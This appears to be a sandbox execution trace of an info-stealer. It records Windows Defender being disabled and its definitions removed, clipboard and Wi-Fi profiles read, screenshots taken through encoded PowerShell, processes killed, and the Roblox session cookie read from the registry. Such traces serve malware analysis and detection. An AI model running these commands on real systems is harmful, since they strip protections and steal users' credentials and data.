C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2696 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3000 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3808 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3816 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2212 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2316 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5812 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4700 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2212 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,2662375269826882775,700529093197225219,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2316 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Files\Software.exe"C:\Users\Admin\Desktop\Files\Software.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Files\Software.exe"C:\Users\Admin\Desktop\Files\Software.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\Software.exe'"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\Software.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All7⤵
- Deletes Windows Defender Definitions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid7⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"6⤵
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 27⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"6⤵
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 27⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name7⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name7⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"6⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName7⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"6⤵
- Clipboard Data
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard7⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profile7⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"6⤵
-
C:\Windows\system32\systeminfo.exesysteminfo7⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"6⤵
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=7⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3s4es2e3\3s4es2e3.cmdline"8⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFFBB.tmp" "c:\Users\Admin\AppData\Local\Temp\3s4es2e3\CSC3EB98A3459D4D72B36AA3A4A242133E.TMP"9⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"6⤵
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts7⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"6⤵
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts7⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 392"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 3927⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1600"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 16007⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4936"6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 49367⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3840"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 38407⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4496"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 44967⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3112"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 31127⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1212"6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 12127⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4708"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 47087⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"6⤵
-
